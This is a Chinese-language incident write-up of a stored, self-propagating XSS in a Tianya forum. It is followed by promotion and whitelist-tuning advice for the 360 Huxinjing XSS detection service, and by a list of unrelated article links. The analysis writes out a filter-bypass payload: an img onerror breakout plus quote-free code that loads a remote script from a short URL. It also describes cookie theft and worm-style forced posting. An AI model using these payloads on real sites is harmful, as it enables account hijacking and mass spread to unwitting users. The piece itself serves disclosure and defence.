某大型网络社区传播性XSS分析

这个XSS存在于天涯某个不起眼的子论坛,通过发布新帖子可以触发。
       
2016415161218149.png
  漏洞分析
    论坛针对XSS有一定过滤措施,例如转义单双引号,过滤左右尖括号等等。所以一般的XSS盲注是没有作用的。
  突破点在于发帖时会有一个上传网络图片的功能。
  
2016415161220832.png
  上传后,图片会显示在帖子正文,即图片的URL会直接出现在IMG是SRC中。由于论坛过滤了尖括号,所以并不能突破IMG标签的限制,所以只能在标签内做一些动作了。如果论坛对双引号检查不严格的话,可以用以下思路突破src的双引号包裹,使用onerror/onload等事件来执行任意js代码。
  
2016415161220802.png
  如上图所示,前端做了验证,没有关系,通过Burpsuite来修改请求。
  
2016415161220485.png
  发现虽然代码成功插入,但是JS执行失败,因为第一个双引号被斜杠转义了,图片加载失败,所以onload事件没有触发,改用onerror即可,如下图所示:
  
2016415161221833.png
  如果我们要真正的去做些事情,光弹个框框是不够的,需要引入一个远程js文件。于是payload中的alert(1)得替换成
  s=document.createElement(“script”);s.src=”http://t.cn/?xxx”;//为了缩短payload长度,js的 URL使用了微博短网址进行了压缩。document.body.appendChild(s)
  这样就可以动态创建script标签引入外部js了。可是直接这样写会失败的,别忘了论坛转义了单双引号,所以将上面代码稍作变化
  s=document.createElement(document.head.children.tagName);//document.head.children页面中固有的script标签。避免使用引号s.src=String.fromCharCode(104)+String.fromCharCode(116) ... ...;//网址使用ascii的形式转化。避免使用引号。document.body.appendChild(s)
  查看下Cookie,几乎可以登录所有分站。
  
2016415161221949.png
  所以偷Cookie可能是黑客们最擅长的了,国内的各种XSS平台都有现成的接口。
  另外还可以做些什么呢,我们可以构造请求去各个板块发帖,看到帖子的用户点击进入了XSS页面,又会在不知情的情况下用自己的账户转发评论去诱骗更多的用户,受害者会以指数型增长,黑客收获的Cookie数量也会以指数增长。
  通过构造以下XSS代码,就可以让中招用户在指定板块发帖,或者回复某人。如果是大V中招发帖,传播量肯定惊人。
  
2016415161221460.png
  
2016415161222708.png
  也可以让对方自动加你为好友,这样你以后发任何状态对方都可以看到,不经意间你就变成“大V”了:
  
2016415161222637.png
  当然也让对方在自己的微博中发表一些状态、评论,传播作用非常棒。
  
2016415161222855.gif
  
2016415161222805.png
  以上这一切,都是静默操作的,中招用户并不知情。
  当黑客控制了如此多的用户账户以及他们的Cookie,就可以做些能够变现的事情了。例如可以批量发送广告、SEO、贩卖用户个人资料,甚至是DDoS

等等。
  漏洞捕获
  类似上面的案例在360护心镜告警平台中捕获了很多,通过分析告警内容,站长们几乎都在第一时间得知并修复了漏洞。
  
2016415161222849.png
  上图即为本次事件的告警内容,从中可以解读出很多信息。从告警类型可以看出是由于网页调用了来自第三方的不明脚本。event_stack依据事件顺序记录了网页的行为。引发告警的位置就在于“创建SCRIPT标签|设置Script标签的SRC属性为:http://t.cn/XXXX”,访问http://t.cn/XXXX,内容如下:
  
2016415161222983.png
  正如上面分析的一样,黑客偷取并维持了受害用户的Cookie,然后调用了一个评论接口,通过CSRF的方式在用户不知情的情况下自动发表了一些评论,宣传了一个网址。
  截至漏洞修复,该XSS页面已有百余次访问量,但是通过Google搜索,发现没有一个用户因此中招,因为站长在配置护心镜的时候使用了默认阻断的模式,恶意js并没有执行,因此本次安全事件中没有造成实质性危害。
  
2016415161222970.png
  360护心镜目前有6个插件,分别对抗6种不同的XSS攻击,在本次事件中立功的是“第三方资源探测”插件。
  
2016415161222680.png
  说起这个插件真是让人喜忧参半,因为它的“误报”比较高,分析原因有两方面:
  1.浏览器广告插件与运营商篡改流量
  在写这个插件之前,我只想安安静静的防止XSS乱入,但没有意识到国内前端环境如此复杂。当告警显示页面中有未经允许的远程js插入,而原始页面中并没有找到该js代码。分析js文件,往往发现是赤裸裸的广告。究其原因,应该是用户系统中安装的程序向浏览器中植入了广告插件。你可以在地址栏中输入
  chrome://plugins/
  检查下这些插件是不是你正常安装的。
  还有就是部分地区的运营商为了增加收入,直接劫持流量,在网页中植入了广告代码导致了护心镜的“误判”。
  所以,想知道有哪些没节操的运营商和插件在劫持流量,也不妨可以尝试护心镜的这个功能。
  2.错误的白名单配置
  配置护心镜就像谈恋爱一样,你需要把一个放纵不羁爱自由的姑娘调教成贤妻良母。
  白名单是护心镜判断XSS的重要依据,如果配置不好则会有大量误报,如果处理方式再配置成阻断模式,则会影响页面正常功能。
  
2016415161222254.png
  需要配置成白名单的域名通常归类为:
  Js、CSS、图片等静态媒体文件的域名。
  iframe资源的域名。
  广告功能所用域名
  统计功能所用域名
  Web在线聊天功能所用域名
  微博等推广功能所用域名
  在刚刚引入护心镜时候,建议将“危险处理方式”设置为“放行”,
  
2016415161223959.png
  这样即便是配置错误,也不会影响页面的正常运行。同时注意告警,如果发现误报,将引起误报的第三方域名加入白名单即可。这样经过短期“调教”后,则可以设置为阻断模式。
  注:文章相关内容为天涯工作人员授权公开。
 上一页    

转载于:https://www.cnblogs.com/xdans/p/5412452.html

某大型网络社区传播性XSS分析相关推荐

  1. 近5年内有关病毒在复杂网络中传播与控制方面的20篇论文

    有关病毒在复杂网络中传播与控制方面的20篇论文 Paper的DOI,发表期刊(会议)以及中英文摘要都已写出,大家可根据doi在scihub进行下载.仅仅只是为了记录一下. 1.Optimal ptim ...

  2. 标签传播算法_复杂网络社区发现算法汇总

    社区发现 这篇文章汇总了一些常见的社区发现概念和算法,包括 Modularity Q Fast Unfolding(Louvain Algorithm) LPA SLPA KL算法 GN算法 社区: ...

  3. 附源码|复杂网络社区发现——标签传播算法(LPA)

    本文通过Python 3.7实现了标签传播算法的两个代码(1.自己写的,2.调包实现),并通过空手道俱乐部的例子进行可视化显示. 标签传播是一种半监督机器学习算法,它将标签分配给以前未标记的数据点.在 ...

  4. OpenCT—北京师范大学教育学博士罗海风创建大型教育类网络社区

    为响应党中央.国务院<国民经济和社会发展"十四五"规划和2035年远景目标纲要>中提出的高度重视开源技术.大力支持开源社区等创新联合体发展的要求,北京师范大学罗海风博士 ...

  5. 病毒在网络上传播的基本途径分析

    病毒在网络上传播的基本途径 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" ...

  6. 中大型网络拓扑图实验分析

    如下图所示,当面对中大型网络拓扑图时需要根据需求分析网络图中涉及的知识点.上图涉及到RIP协议,单臂路由,OSPF协议,链路捆绑,NAT,静态路由方面的知识.本文将从这几个方面对此网络拓扑图进行解析. ...

  7. 从“范跑跑”和“郭跳跳”看网络事件传播规律

    互联网的信息是海量的,网站数目也是及其庞大的.每个网民上网的习惯不同,所使用的社会网络工具也不同,而一个很有意思的事实是,如此庞大的网络,如此浩瀚的信息海洋,如此复杂的网民构成,仍然会不定期的形成网络 ...

  8. Web2.0网络社区用户激励机制调研

    随着互联网技术和理念的创新与发展,论坛.博客.维基.视频分享.微博等新的互联网产品形式不断涌现,互联网已经真正进入Web2.0时代.Web2.0网站的核心是用户创造内容(User Generate C ...

  9. 中国网络社区15年发展历程

    按:下面是我2月份发表在<程序员>上的文章 本土的才是世界的 --记中国网络社区15年发展历程              2010年新年伊始,互联网领域突爆一惊雷,Google 拟关闭其在 ...

  10. ​Spring事务的传播行为案例分析

    简介:网上关于Spring事务传播性以及隔离型的文章漫天盖地,还有不负责任的直接复制名词意思,文章虽然很多却是看的云里雾里,我们今天将给出案例分别和大家一起学习. 网上关于Spring事务传播性以及隔 ...

最新文章

  1. Windows Mobile 6.0 SDK和中文模拟器下载
  2. 染成茜色的坂道 汉化版攻略
  3. 【转载】dos下通过wmic命令查看硬盘和内存/CPU信息(windows自带命令查看硬件信息)
  4. 我的Java后端书架 (2016年暖冬4.0版)
  5. mac mysql安装_Mac下MySQL的安装【手摸手系列】
  6. 面向对象代码_面向对象的代码生成方法
  7. Meta开发了一个AI模型,尝试解决维基百科的「性别偏见」问题
  8. Mac系统下设置Maven环境
  9. 司创电梯发卡软件_防复制电梯IC卡软件系统安装操作步骤
  10. NCBI数据上传(一):扩增子测序数据
  11. PKIX path validation failed: java.security.cert.CertPathValidatorException: validity check failed
  12. HTML+CSS+JavaScript速成
  13. ContentType所有类型对比
  14. strcpy 和strncpy 的代码和区别
  15. IIS打开aspx文件
  16. javaweb第三版课后答案,干货满满
  17. PowerVM 高级功能——N_PIV
  18. linux ifcfg-eth0文件丢失,Linux备份ifcfg-eth0文件致使的网络故障问题
  19. 【考试记录】Apsara Clouder基础技能认证:实现调用API接口
  20. mysql 加密狗_IA300加密狗使用 | 学步园

热门文章

  1. 从超大规模云服务提供商处学习效率
  2. thymeleaf学习笔记
  3. scala trait 另一种用法类混入
  4. Rhel6-piranha配置文档
  5. Comparator 比较器接口
  6. Java中== equals hashcode浅析[转]
  7. Windows CE的存储与地址映射技术学习
  8. DHCP协议++ClientServer架构
  9. winform 显示分隔控件_WinForm使用Label控件模拟分割线(竖向)
  10. Python中函数的用法